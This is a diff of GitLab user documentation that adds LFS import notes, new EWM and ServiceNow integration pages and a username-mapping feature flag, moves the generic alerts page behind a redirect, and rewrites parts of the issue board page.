diff --git a/doc/user/project/img/file_lock_merge_request_error_message.png b/doc/user/project/img/file_lock_merge_request_error_message.png
deleted file mode 100644
index 64bcc86ac0d..00000000000
--- a/doc/user/project/img/file_lock_merge_request_error_message.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/file_lock_repository_view.png b/doc/user/project/img/file_lock_repository_view.png
deleted file mode 100644
index ced14198da9..00000000000
--- a/doc/user/project/img/file_lock_repository_view.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/lfs_locked_files_v13_2.png b/doc/user/project/img/lfs_locked_files_v13_2.png
new file mode 100644
index 00000000000..0c31ce979de
--- /dev/null
+++ b/doc/user/project/img/lfs_locked_files_v13_2.png
Binary files differ
diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md
index 56266718d12..89130d5822f 100644
--- a/doc/user/project/import/bitbucket.md
+++ b/doc/user/project/import/bitbucket.md
@@ -76,3 +76,6 @@ If you've accidentally started the import process with the wrong account, follow
1. Revoke GitLab access to your Bitbucket account, essentially reversing the process in the following procedure: [Import your Bitbucket repositories](#import-your-bitbucket-repositories).
1. Sign out of the Bitbucket account. Follow the procedure linked from the previous step.
+
+NOTE: **Note:**
+To import a repository including LFS objects from a Bitbucket server repository, use the [Repo by URL](../import/repo_by_url.md) importer.
diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md
index f0e730564d8..d0499730bfe 100644
--- a/doc/user/project/import/bitbucket_server.md
+++ b/doc/user/project/import/bitbucket_server.md
@@ -37,7 +37,12 @@ Import your projects from Bitbucket Server to GitLab with minimal effort.
empty changes.
1. Attachments in Markdown are currently not imported.
1. Task lists are not imported.
-1. Emoji reactions are not imported
+1. Emoji reactions are not imported.
+1. [LFS objects](../../../topics/git/lfs/index.md) are not imported.
+
+ NOTE: **Note:**
+ To import a repository including LFS objects from a Bitbucket server repository, use the [Repo by URL](../import/repo_by_url.md) importer.
+
1. Project filtering does not support fuzzy search (only `starts with` or `full
match strings` are currently supported)
@@ -62,6 +67,25 @@ The importer will create any new namespaces (groups) if they don't exist or in
the case the namespace is taken, the repository will be imported under the user's
namespace that started the import process.
+#### User assignment by username
+
+Alternatively, user assignment by username is available behind a `bitbucket_server_user_mapping_by_username` feature flag.
+The importer will try to find a user in the GitLab user database using author's `username` or `slug` or `displayName`.
+Falls back to author's `email` if user is not found by username.
+Similarly to user assignment by email, if no such user is available, the project creator is set as the author.
+
+To enable or disable user assignment by username:
+
+Start a [Rails console](../../../administration/troubleshooting/debug.md#starting-a-rails-console-session).
+
+```ruby
+# Enable
+Feature.enable(:bitbucket_server_user_mapping_by_username)
+
+# Disable
+Feature.disable(:bitbucket_server_user_mapping_by_username)
+```
+
## Importing your Bitbucket repositories
1. Sign in to GitLab and go to your dashboard.
@@ -83,4 +107,9 @@ namespace that started the import process.
## Troubleshooting
+If the GUI-based import tool does not work, you can try to:
+
+- Use the [GitLab Import API](../../../api/import.md#import-repository-from-bitbucket-server) Bitbucket server endpoint.
+- Set up [Repository Mirroring](../repository/repository_mirroring.md), which provides verbose error output.
+
See the [troubleshooting](bitbucket.md#troubleshooting) section for [Bitbucket](bitbucket.md).
diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md
index d2e79458526..2957b33c20e 100644
--- a/doc/user/project/import/cvs.md
+++ b/doc/user/project/import/cvs.md
@@ -25,10 +25,10 @@ The following list illustrates the main differences between CVS and Git:
are not atomic. If an operation on the repository is interrupted in the middle,
the repository can be left in an inconsistent state.
- **Storage method.** Changes in CVS are per file (changeset), while in Git
- a committed file(s) is stored in its entirety (snapshot). That means that's
+ a committed file(s) is stored in its entirety (snapshot). That means it's
very easy in Git to revert or undo a whole change.
- **Revision IDs.** The fact that in CVS changes are per files, the revision ID
- is depicted by version numbers, for example `1.4` reflects how many time a
+ is depicted by version numbers, for example `1.4` reflects how many times a
given file has been changed. In Git, each version of a project as a whole
(each commit) has its unique name given by SHA-1.
- **Merge tracking.** Git uses a commit-before-merge approach rather than
@@ -54,7 +54,7 @@ Wikipedia article on [comparing the different version control software](https://
CVS is old with no new release since 2008. Git provides more tools to work
with (`git bisect` for one) which makes for a more productive workflow.
-Migrating to Git/GitLab there is:
+Migrating to Git/GitLab will benefit you:
- **Shorter learning curve**, Git has a big community and a vast number of
tutorials to get you started (see our [Git topic](../../../topics/git/index.md)).
diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md
index 3838289aec4..f21ec26bdef 100644
--- a/doc/user/project/import/gemnasium.md
+++ b/doc/user/project/import/gemnasium.md
@@ -83,7 +83,7 @@ back to both GitLab and GitHub when completed.
![click on connected project](img/gemnasium/project_connected.png)
- Your project is now mirrored on GitLab, where the Runners will be able to access
+ Your project is now mirrored on GitLab, where the runners will be able to access
your source code and run your tests.
Optional step: If you set this up on GitLab.com, make sure the project is
@@ -105,7 +105,7 @@ back to both GitLab and GitHub when completed.
1. The result of the job will be visible directly from the pipeline view:
- ![Security Dashboard](../../application_security/security_dashboard/img/pipeline_security_dashboard_v13_2.png)
+ ![Security Dashboard](../../application_security/security_dashboard/img/pipeline_security_dashboard_v13_3.png)
NOTE: **Note:**
If you don't commit very often to your project, you may want to use
diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md
index 531b308111a..4cd0c9e02c7 100644
--- a/doc/user/project/import/github.md
+++ b/doc/user/project/import/github.md
@@ -12,18 +12,6 @@ your self-managed GitLab instance.
## Overview
-NOTE: **Note:**
-These instructions work for users on GitLab.com, but if you are an
-administrator of a self-managed GitLab instance or if you are importing from GitHub Enterprise,
-you must enable [GitHub integration](../../../integration/github.md). GitHub integration is the only method for
-importing from GitHub Enterprise. If you are using GitLab.com, you can alternatively import
-GitHub repositories using a [personal access token](#using-a-github-token),
-but this method is not recommended because it cannot associate all user activity
-(such as issues and pull requests) with matching GitLab users.
-If you are an administrator of a self-managed GitLab instance, you can also use the
-[GitHub Rake task](../../../administration/raketasks/github_import.md) to import projects from
-GitHub without the constraints of a Sidekiq worker.
-
The following aspects of a project are imported:
- Repository description (GitLab.com & 7.7+)
@@ -36,12 +24,37 @@ The following aspects of a project are imported:
- Release note descriptions (GitLab.com & 8.12+)
- Pull request review comments (GitLab.com & 10.2+)
- Regular issue and pull request comments
+- [Git Large File Storage (LFS) Objects](../../../topics/git/lfs/index.md)
References to pull requests and issues are preserved (GitLab.com & 8.7+), and
each imported repository maintains visibility level unless that [visibility
level is restricted](../../../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects),
in which case it defaults to the default project visibility.
+The namespace is a user or group in GitLab, such as `gitlab.com/janedoe` or `gitlab.com/customer-success`. You can do some bulk actions to move projects to different namespaces in the rails console.
+
+This process does not migrate or import any types of groups or organizations from GitHub to GitLab.
+
+### If you're using GitLab.com
+
+If you're using GitLab.com, you can alternatively import
+GitHub repositories using a [personal access token](#using-a-github-token),
+but we don't recommend this method because it can't associate all user activity
+(such as issues and pull requests) with matching GitLab users.
+
+### If you're importing from GitLab Enterprise
+
+If you're importing from GitHub Enterprise, you must enable [GitHub integration][gh-import].
+
+### If you're using a self-managed GitLab instance
+
+If you're an administrator of a self-managed GitLab instance, you must enable
+[GitHub integration][gh-import].
+
+If you're an administrator of a self-managed GitLab instance, you can also use the
+[GitHub Rake task](../../../administration/raketasks/github_import.md) to import projects from
+GitHub without the constraints of a Sidekiq worker.
+
## How it works
When issues and pull requests are being imported, the importer attempts to find their GitHub authors and
@@ -135,8 +148,8 @@ your GitHub repositories are listed.
## Mirroring and pipeline status sharing
-Depending your GitLab tier, [project mirroring](../repository/repository_mirroring.md) can be set up to keep
-your imported project in sync with its GitHub copy.
+Depending on your GitLab tier, [repository mirroring](../repository/repository_mirroring.md) can be set up to keep
+your imported repository in sync with its GitHub copy.
Additionally, you can configure GitLab to send pipeline status updates back GitHub with the
[GitHub Project Integration](../integrations/github.md). **(PREMIUM)**
diff --git a/doc/user/project/index.md b/doc/user/project/index.md
index 4e5b924a1b7..c79f2be1d3f 100644
--- a/doc/user/project/index.md
+++ b/doc/user/project/index.md
@@ -37,6 +37,8 @@ When you create a project in GitLab, you'll have access to a large number of
- [Signing commits](gpg_signed_commits/index.md): use GPG to sign your commits
- [Deploy tokens](deploy_tokens/index.md): Manage project-based deploy tokens that allow permanent access to the repository and Container Registry.
- [Web IDE](web_ide/index.md)
+- [CVE ID Requests](../application_security/cve_id_request.md): Request a CVE identifier to track a
+ vulnerability in your project.
**Issues and merge requests:**
@@ -192,12 +194,16 @@ To delete a project, first navigate to the home page for that project.
### Delayed deletion **(PREMIUM)**
-By default, clicking to delete a project is followed by a seven day delay. Admins can restore the project during this period of time.
-This delay [may be changed by an admin](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay-premium-only).
+By default, projects in a personal namespace are deleted after a seven day delay.
+
+Admins can restore the project during this period of time.
+This delay [may be changed by an admin](../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay).
Admins can view all projects pending deletion. If you're an administrator, go to the top navigation bar, click **Projects > Your projects**, and then select the **Deleted projects** tab.
From this tab an admin can restore any project.
+For information on delay deletion of projects within a group, please see [Enabling delayed Project removal](../group/index.md#enabling-delayed-project-removal)
+
## CI/CD for external repositories **(PREMIUM)**
Instead of importing a repository directly to GitLab, you can connect your repository
@@ -318,7 +324,7 @@ through Git.
For example:
```plaintext
-machine example.gitlab.com
+machine gitlab.example.com
login <gitlab_user_name>
password <personal_access_token>
```
diff --git a/doc/user/project/integrations/ewm.md b/doc/user/project/integrations/ewm.md
new file mode 100644
index 00000000000..be89323a246
--- /dev/null
+++ b/doc/user/project/integrations/ewm.md
@@ -0,0 +1,30 @@
+# IBM Engineering Workflow Management (EWM) Integration **(CORE)**
+
+This service allows you to navigate from GitLab to EWM work items mentioned in merge request descriptions and commit messages. Each work item reference is automatically converted to a link back to the work item.
+
+NOTE: **Note:**
+This IBM product was [formerly named Rational Team Concert](https://jazz.net/blog/index.php/2019/04/23/renaming-the-ibm-continuous-engineering-portfolio/)(RTC). This integration is also compatible with all versions of RTC and EWM.
+
+1. From a GitLab project, navigate to **Settings > Integrations**, and then click **EWM**.
+1. Enter the information listed below.
+
+ | Field | Description |
+ | ----- | ----------- |
+ | `project_url` | URL of the EWM project area to link to the GitLab project. To obtain your project area URL, navigate to the path `/ccm/web/projects` and copy the listed project's URL. For example, `https://example.com/ccm/web/Example%20Project` |
+ | `issues_url` | URL to the work item editor in the EWM project area. The format is `<your-server-url>/resource/itemName/com.ibm.team.workitem.WorkItem/:id`. For example, `https://example.com/ccm/resource/itemName/com.ibm.team.workitem.WorkItem/:id` |
+ | `new_issue_url` | URL to create a new work item in the EWM project area. Append the following fragment to your project area URL: `#action=com.ibm.team.workitem.newWorkItem`. For example, `https://example.com/ccm/web/projects/JKE%20Banking#action=com.ibm.team.workitem.newWorkItem` |
+
+## Reference EWM work items in commit messages
+
+You can use any of the keywords supported by the EWM Git Integration Toolkit to refer to work items. Work items can be referenced using the format: `<keyword> <id>`.
+
+You can use the following keywords:
+
+- `bug`
+- `task`
+- `defect`
+- `rtcwi`
+- `workitem`
+- `work item`
+
+For more details, see the EWM documentation page [Creating links from commit comments](https://www.ibm.com/support/knowledgecenter/SSYMRC_7.0.0/com.ibm.team.connector.cq.doc/topics/t_creating_links_through_comments.html), which recommends against using the additionally-supported keyword `#` because of incompatibility with GitLab.
diff --git a/doc/user/project/integrations/generic_alerts.md b/doc/user/project/integrations/generic_alerts.md
index dc6aa40ea82..0e8e082859b 100644
--- a/doc/user/project/integrations/generic_alerts.md
+++ b/doc/user/project/integrations/generic_alerts.md
@@ -1,124 +1,5 @@
---
-stage: Monitor
-group: Health
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+redirect_to: '../../../operations/incident_management/generic_alerts.md'
---
-# Generic alerts integration
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13203) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 12.4.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42640) to [GitLab Core](https://about.gitlab.com/pricing/) in 12.8.
-
-GitLab can accept alerts from any source via a generic webhook receiver.
-When you set up the generic alerts integration, a unique endpoint will
-be created which can receive a payload in JSON format, and will in turn
-create an issue with the payload in the body of the issue. You can always
-[customize the payload](#customizing-the-payload) to your liking.
-
-The entire payload will be posted in the issue discussion as a comment
-authored by the GitLab Alert Bot.
-
-NOTE: **Note:**
-In GitLab versions 13.1 and greater, you can configure
-[External Prometheus instances](../../../operations/metrics/alerts.md#external-prometheus-instances)
-to use this endpoint.
-
-## Setting up generic alerts
-
-To obtain credentials for setting up a generic alerts integration:
-
-- Sign in to GitLab as a user with maintainer [permissions](../../permissions.md) for a project.
-- Navigate to the **Operations** page for your project, depending on your installed version of GitLab:
- - *In GitLab versions 13.1 and greater,* navigate to **Settings > Operations** in your project.
- - *In GitLab versions prior to 13.1,* navigate to **Settings > Integrations** in your project. GitLab will display a banner encouraging you to enable the Alerts endpoint in **Settings > Operations** instead.
-- Click **Alerts endpoint**.
-- Toggle the **Active** alert setting to display the **URL** and **Authorization Key** for the webhook configuration.
-
-## Customizing the payload
-
-You can customize the payload by sending the following parameters. All fields other than `title` are optional:
-
-| Property | Type | Description |
-| -------- | ---- | ----------- |
-| `title` | String | The title of the incident. Required. |
-| `description` | String | A high-level summary of the problem. |
-| `start_time` | DateTime | The time of the incident. If none is provided, a timestamp of the issue will be used. |
-| `service` | String | The affected service. |
-| `monitoring_tool` | String | The name of the associated monitoring tool. |
-| `hosts` | String or Array | One or more hosts, as to where this incident occurred. |
-| `severity` | String | The severity of the alert. Must be one of `critical`, `high`, `medium`, `low`, `info`, `unknown`. Default is `critical`. |
-| `fingerprint` | String or Array | The unique identifier of the alert. This can be used to group occurrences of the same alert. |
-
-You can also add custom fields to the alert's payload. The values of extra parameters
-are not limited to primitive types, such as strings or numbers, but can be a nested
-JSON object. For example:
-
-```json
-{ "foo": { "bar": { "baz": 42 } } }
-```
-
-TIP: **Payload size:**
-Ensure your requests are smaller than the [payload application limits](../../../administration/instance_limits.md#generic-alert-json-payloads).
-
-Example request:
-
-```shell
-curl --request POST \
- --data '{"title": "Incident title"}' \
- --header "Authorization: Bearer <authorization_key>" \
- --header "Content-Type: application/json" \
- <url>
-```
-
-The `<authorization_key>` and `<url>` values can be found when [setting up generic alerts](#setting-up-generic-alerts).
-
-Example payload:
-
-```json
-{
- "title": "Incident title",
- "description": "Short description of the incident",
- "start_time": "2019-09-12T06:00:55Z",
- "service": "service affected",
- "monitoring_tool": "value",
- "hosts": "value",
- "severity": "high",
- "fingerprint": "d19381d4e8ebca87b55cda6e8eee7385",
- "foo": {
- "bar": {
- "baz": 42
- }
- }
-}
-```
-
-## Triggering test alerts
-
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3066) in GitLab Core in 13.2.
-
-After a [project maintainer or owner](#setting-up-generic-alerts)
-[configures generic alerts](#setting-up-generic-alerts), you can trigger a
-test alert to confirm your integration works properly.
-
-1. Sign in as a user with Developer or greater [permissions](../../../user/permissions.md).
-1. Navigate to **Settings > Operations** in your project.
-1. Click **Alerts endpoint** to expand the section.
-1. Enter a sample payload in **Alert test payload** (valid JSON is required).
-1. Click **Test alert payload**.
-
-GitLab displays an error or success message, depending on the outcome of your test.
-
-## Automatic grouping of identical alerts **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214557) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-
-In GitLab versions 13.2 and greater, GitLab groups alerts based on their payload.
-When an incoming alert contains the same payload as another alert (excluding the
-`start_time` and `hosts` attributes), GitLab groups these alerts together and
-displays a counter on the
-[Alert Management List](../../../operations/incident_management/incidents.md)
-and details pages.
-
-If the existing alert is already `resolved`, then a new alert will be created instead.
-
-![Alert Management List](../operations/img/alert_list_v13_1.png)
+This document was moved to [another location](../../../operations/incident_management/generic_alerts.md).
diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md
index f2e769dcfc0..443ca11be27 100644
--- a/doc/user/project/integrations/irker.md
+++ b/doc/user/project/integrations/irker.md
@@ -53,7 +53,7 @@ Irker accepts channel names of the form `chan` and `#chan`, both for the
case, `Aorimn` is treated as a nick and no more as a channel name.
Irker can also join password-protected channels. Users need to append
-`?key=thesecretpassword` to the chan name. When using this feature remember to
+`?key=thesecretpassword` to the channel name. When using this feature remember to
**not** put the `#` sign in front of the channel name; failing to do so will
result on irker joining a channel literally named `#chan?key=password` henceforth
leaking the channel key through the `/whois` IRC command (depending on IRC server
diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md
index f11cd4d9539..3e0b6492477 100644
--- a/doc/user/project/integrations/jira.md
+++ b/doc/user/project/integrations/jira.md
@@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# GitLab Jira integration
-If you need to use Jira to track work that's implemented in GitLab, GitLab's Jira integrations make the process of working across systems more efficent.
+If you need to use Jira to track work that's implemented in GitLab, GitLab's Jira integrations make the process of working across systems more efficient.
This page is about the GitLab Jira integration, which is available in every GitLab project by default, allowing you to connect it to any Jira instance, whether Cloud or self-managed. To compare features with the complementary Jira Development Panel integration, see [Jira integrations](jira_integrations.md).
@@ -22,7 +22,9 @@ Features include:
- The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings.
- **View a list of Jira issues directly in GitLab** **(PREMIUM)**
-For additional features, you can install the [Jira Development Panel integration](../../../integration/jira_development_panel.md). This enables you to:
+For additional features, you can install the
+[Jira Development Panel integration](../../../integration/jira_development_panel.md) **(PREMIUM)**.
+This enables you to:
- In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests.
- Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition.
diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md
index 90cd9bf3acb..dd22c26be36 100644
--- a/doc/user/project/integrations/jira_integrations.md
+++ b/doc/user/project/integrations/jira_integrations.md
@@ -18,7 +18,7 @@ Although you can [migrate](../../../user/project/import/jira.md) your Jira issue
The following Jira integrations allow different types of cross-referencing between GitLab activity and Jira issues, with additional features:
- [**Jira integration**](jira.md) - This is built in to GitLab. In a given GitLab project, it can be configured to connect to any Jira instance, self-managed or Cloud.
-- [**Jira development panel integration**](../../../integration/jira_development_panel.md) **(PREMIUM)** - This connects all GitLab projects under a specified group or personal namespace.
+- [**Jira development panel integration**](../../../integration/jira_development_panel.md) - This connects all GitLab projects under a specified group or personal namespace.
- If you're using Jira Cloud and GitLab.com, install the [GitLab for Jira](https://marketplace.atlassian.com/apps/1221011/gitlab-for-jira) app in the Atlassian Marketplace and see its [documentation](../../../integration/jira_development_panel.md#gitlab-for-jira-app).
- For all other environments, use the [Jira DVCS Connector configuration instructions](../../../integration/jira_development_panel.md#configuration).
diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md
index f179cd6b98e..7a1f757c138 100644
--- a/doc/user/project/integrations/overview.md
+++ b/doc/user/project/integrations/overview.md
@@ -39,7 +39,7 @@ Click on the service links to see further configuration instructions and details
| [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No |
| External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No |
| Flowdock | Flowdock is a collaboration web app for technical teams | No |
-| [Generic alerts](generic_alerts.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No |
+| [Generic alerts](../../../operations/incident_management/generic_alerts.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No |
| [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No |
| [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google Hangouts Chat | No |
| [HipChat](hipchat.md) | Private group chat and IM | No |
@@ -59,6 +59,7 @@ Click on the service links to see further configuration instructions and details
| [Prometheus](prometheus.md) | Monitor the performance of your deployed apps | No |
| Pushover | Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop | No |
| [Redmine](redmine.md) | Redmine issue tracker | No |
+| [EWM](ewm.md) | EWM work item tracker | No |
| [Unify Circuit](unify_circuit.md) | Receive events notifications in Unify Circuit | No |
| [Webex Teams](webex_teams.md) | Receive events notifications in Webex Teams | No |
| [YouTrack](youtrack.md) | YouTrack issue tracker | No |
@@ -82,9 +83,9 @@ Read more about [Service templates](services_templates.md).
## Project integration management
-Project integraton management lets you control integration settings across all projects
+Project integration management lets you control integration settings across all projects
of an instance. On the project level, administrators you can choose whether to inherit the
-instance configuraton or provide custom settings.
+instance configuration or provide custom settings.
Read more about [Project integration management](../../admin_area/settings/project_integration_management.md).
diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md
index eda6f64ccac..0d3042463c9 100644
--- a/doc/user/project/integrations/prometheus_library/nginx.md
+++ b/doc/user/project/integrations/prometheus_library/nginx.md
@@ -18,6 +18,8 @@ The [Prometheus service](../prometheus.md) must be enabled.
NGINX server metrics are detected, which tracks the pages and content directly served by NGINX.
+[`environment_filter`](../../../../operations/metrics/dashboards/variables.md#environment_filter) is one of the predefined variables that metrics dashboards support.
+
| Name | Query |
| ---- | ----- |
| Throughput (req/sec) | `sum(rate(nginx_server_requests{server_zone!="*", server_zone!="_", %{environment_filter}}[2m])) by (code)` |
diff --git a/doc/user/project/integrations/servicenow.md b/doc/user/project/integrations/servicenow.md
new file mode 100644
index 00000000000..d549921b9d9
--- /dev/null
+++ b/doc/user/project/integrations/servicenow.md
@@ -0,0 +1,41 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+# ServiceNow integration
+
+ServiceNow offers several integrations to help centralize and automate your
+management of GitLab workflows.
+
+## GitLab spoke
+
+With the GitLab spoke in ServiceNow, you can automate actions for GitLab
+projects, groups, users, issues, merge requests, branches, and repositories.
+
+For a full list of features, see the
+[GitLab spoke documentation](https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/administer/integrationhub-store-spokes/concept/gitlab-spoke.html).
+
+You must [configure GitLab as an OAuth2 authentication service provider](../../../integration/oauth_provider.md),
+which involves creating an application and then providing the Application ID
+and Secret in ServiceNow.
+
+## GitLab SCM and Continuous Integration for DevOps
+
+In ServiceNow DevOps, you can integrate with GitLab repositories and GitLab CI/CD
+to centralize your view of GitLab activity and your change management processes.
+You can:
+
+- Track information about activity in GitLab repositories and CI/CD pipelines in
+ ServiceNow.
+- Integrate with GitLab CI/CD pipelines, by automating the creation of change
+ tickets and determining criteria for changes to auto-approve.
+
+For more information, refer to the following ServiceNow resources:
+
+- [ServiceNow DevOps home page](https://www.servicenow.com/products/devops.html)
+- [Install DevOps](https://docs.servicenow.com/bundle/paris-devops/page/product/enterprise-dev-ops/task/activate-dev-ops.html)
+- [Install DevOps Integrations](https://docs.servicenow.com/bundle/paris-devops/page/product/enterprise-dev-ops/task/activate-dev-ops-integrations.html)
+- [GitLab SCM and Continuous Integration for DevOps](https://store.servicenow.com/sn_appstore_store.do#!/store/application/54dc4eacdbc2dcd02805320b7c96191e/)
+- [Model a GitLab CI pipeline in DevOps](https://docs.servicenow.com/bundle/paris-devops/page/product/enterprise-dev-ops/task/model-gitlab-pipeline-dev-ops.html).
diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md
index 7be58ce4ecb..f8172a0f988 100644
--- a/doc/user/project/issue_board.md
+++ b/doc/user/project/issue_board.md
@@ -15,59 +15,45 @@ organize, and visualize a workflow for a feature or product release.
It can be used as a [Kanban](https://en.wikipedia.org/wiki/Kanban_(development)) or a
[Scrum](https://en.wikipedia.org/wiki/Scrum_(software_development)) board.
-It pairs issue tracking and project management,
-keeping everything in the same place, so that you don't need to jump
-between different platforms to organize your workflow.
+It pairs issue tracking and project management, keeping everything in the same place,
+so that you don't need to jump between different platforms to organize your workflow.
-With issue boards, you organize your issues in lists that correspond to
-their assigned labels, visualizing issues designed as cards throughout those lists.
+Issue boards build on the existing [issue tracking functionality](issues/index.md#issues-list) and
+[labels](labels.md). Your issues appear as cards in vertical lists, organized by their assigned
+labels, [milestones](#milestone-lists), or [assignees](#assignee-lists).
-You define your process, and GitLab organizes it for you. You add your labels
-then create the corresponding list to pull in your existing issues. When
-you're ready, you can drag and drop your issue cards from one step to the next.
+Issue boards help you to visualize and manage your entire process in GitLab.
+You add your labels, and then create the corresponding list for your existing issues.
+When you're ready, you can drag your issue cards from one step to another one.
-![GitLab issue board - Core](img/issue_boards_core.png)
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-Watch a [video presentation](https://youtu.be/UWsJ8tkHAa8) of
-the Issue Board feature (introduced in GitLab 8.11 - August 2016).
-
-### Advanced features of issue boards
-
-- Create multiple issue boards per project.
-- Create multiple issue boards per group. **(PREMIUM)**
-- Add lists for [assignees](#assignee-lists-premium) and [milestones](#milestone-lists-premium). **(PREMIUM)**
-
-Check all the [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards).
+An issue board can show you what issues your team is working on, who is assigned to each,
+and where in the workflow those issues are.
-![GitLab issue boards - Premium](img/issue_boards_premium.png)
+To let your team members organize their own workflows, use
+[multiple issue boards](#use-cases-for-multiple-issue-boards). This allows creating multiple issue
+boards in the same project.
-## How it works
+![GitLab issue board - Core](img/issue_boards_core.png)
-The Issue Board feature builds on GitLab's existing
-[issue tracking functionality](issues/index.md#issues-list) and
-[labels](labels.md) by using them as lists of the Scrum board.
+Different issue board features are available in different [GitLab tiers](https://about.gitlab.com/pricing/),
+as shown in the following table:
-With issue boards you can have a different view of your issues while
-maintaining the same filtering and sorting abilities you see across the
-issue tracker. An issue board is based on its project's label structure, so it
-applies the same descriptive labels to indicate placement on the board, keeping
-consistency throughout the entire development lifecycle.
+| Tier | Number of project issue boards | Number of [group issue boards](#group-issue-boards) | [Configurable issue boards](#configurable-issue-boards) | [Assignee lists](#assignee-lists) |
+|------------------|--------------------------------|------------------------------|---------------------------|----------------|
+| Core / Free | Multiple | 1 | No | No |
+| Starter / Bronze | Multiple | 1 | Yes | No |
+| Premium / Silver | Multiple | Multiple | Yes | Yes |
+| Ultimate / Gold | Multiple | Multiple | Yes | Yes |
-An issue board shows you what issues your team is working on, who is assigned to each,
-and where in the workflow those issues are.
+To learn more, visit [GitLab Enterprise features for issue boards](#gitlab-enterprise-features-for-issue-boards) below.
-You create issues, host code, perform reviews, build, test,
-and deploy from one single platform. Issue boards help you to visualize
-and manage the entire process in GitLab.
+![GitLab issue board - Premium](img/issue_boards_premium.png)
-With [multiple issue boards](#use-cases-for-multiple-issue-boards),
-you go even further, as you can not only keep yourself and your project
-organized from a broader perspective with one issue board per project,
-but also allow your team members to organize their own workflow by creating
-multiple issue boards within the same project.
+<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
+Watch a [video presentation](https://youtu.be/vjccjHI7aGI) of
+the Issue Board feature.
-## Use cases
+## Issue boards use cases
You can tailor GitLab issue boards to your own preferred workflow.
Here are some common use cases for issue boards.
@@ -138,8 +124,7 @@ to improve their workflow with multiple boards.
#### Quick assignments
-Create lists for each of your team members and quickly drag and drop issues onto each team member's
-list.
+Create lists for each of your team members and quickly drag issues onto each team member's list.
## Issue board terminology
@@ -155,8 +140,8 @@ that belong to it. Types of lists include:
Always appears as the leftmost list.
- **Closed** (default): all closed issues. Always appears as the rightmost list.
- **Label list**: all open issues for a label.
-- [**Assignee list**](#assignee-lists-premium): all open issues assigned to a user.
-- [**Milestone list**](#milestone-lists-premium): all open issues for a milestone.
+- [**Assignee list**](#assignee-lists): all open issues assigned to a user.
+- [**Milestone list**](#milestone-lists): all open issues for a milestone.
A **Card** is a box on a list, and it represents an issue. You can drag cards from one list to
another to change their label, assignee, or milestone. The information you can see on a
@@ -172,22 +157,36 @@ card includes:
Users with the [Reporter and higher roles](../permissions.md) can use all the functionality of the
Issue Board feature to create or delete lists and drag issues from one list to another.
-## GitLab Enterprise features for issue boards
+## How GitLab orders issues in a list
-GitLab issue boards are available on GitLab Core and GitLab.com Free tiers, but some
-advanced functionality is present in [higher tiers only](https://about.gitlab.com/pricing/).
+When visiting a board, issues appear ordered in any list. You're able to change
+that order by dragging the issues. The changed order is saved, so that anybody who visits the same
+board later sees the reordering, with some exceptions.
-### Summary of features per tier
+The first time a given issue appears in any board (that is, the first time a user
+loads a board containing that issue), it is ordered in relation to other issues in that list
+according to [label priority](labels.md#label-priority).
-Different issue board features are available in different [GitLab tiers](https://about.gitlab.com/pricing/),
-as shown in the following table:
+At this point, that issue is assigned a relative order value by the system,
+representing its relative order with respect to the other issues in the list. Any time
+you reorder that issue by dragging, its relative order value changes accordingly.
-| Tier | Number of Project issue boards | Number of Group issue boards | Configurable issue boards | Assignee lists |
-|------------------|--------------------------------|------------------------------|---------------------------|----------------|
-| Core / Free | Multiple | 1 | No | No |
-| Starter / Bronze | Multiple | 1 | Yes | No |
-| Premium / Silver | Multiple | Multiple | Yes | Yes |
-| Ultimate / Gold | Multiple | Multiple | Yes | Yes |
+Also, any time that issue appears in any board when it's loaded by a user,
+the updated relative order value is used for the ordering. It's only the first
+time an issue appears that it takes from the priority order mentioned above. This means that
+if issue `A` is reordered by dragging to be above issue `B` by any user in
+a given board inside your GitLab instance, any time those two issues are subsequently
+loaded in any board in the same instance (could be a different project board or a different group
+board, for example), that ordering is maintained.
+
